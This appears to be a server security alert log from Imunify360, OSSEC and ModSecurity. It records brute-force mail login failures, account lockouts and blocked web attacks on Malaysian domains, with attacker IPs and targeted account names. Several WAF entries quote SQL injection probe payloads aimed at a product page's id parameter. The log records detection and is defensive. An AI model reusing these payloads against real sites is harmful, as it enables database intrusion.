abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:55:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:55:17 dovecot_login authenticator failed for H=(OH4x6Kh) [178.16.52.139]:56643: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1')))AND/**/4026=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(4026=4026)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND ((('9PF6ekro'='9PF6ekro||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:55:52 dovecot_login authenticator failed for H=(rFQZL63XRS) [165.154.217.204]:59539: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND AND\b9650=CONCAT('~',(SELECT\b(CASE\x02WHEN\x0e(9650=9650)\tTHEN\x02'1'\x0fELSE\t'0'\vEND)),'~')-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:55:22 dovecot_login authenticator failed for H=(N7dKGByPN) [158.94.208.175]:58545: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:55:15 dovecot_login authenticator failed for H=(YNcu80hZHk) [165.154.217.204]:61060: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:55:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:55:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:55:16 dovecot_login authenticator failed for H=(SgweJx1cM6) [77.83.39.253]:1944: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")))and/**/8723=concat('~',(select/**/(case/**/when/**/(8723=8723)/**/then/**/'1'/**/else/**/'0'/**/end)),'~') and (((\"h26vddlf\"=\"h26vddlf\"||RSV:7.71||T:APACHE||


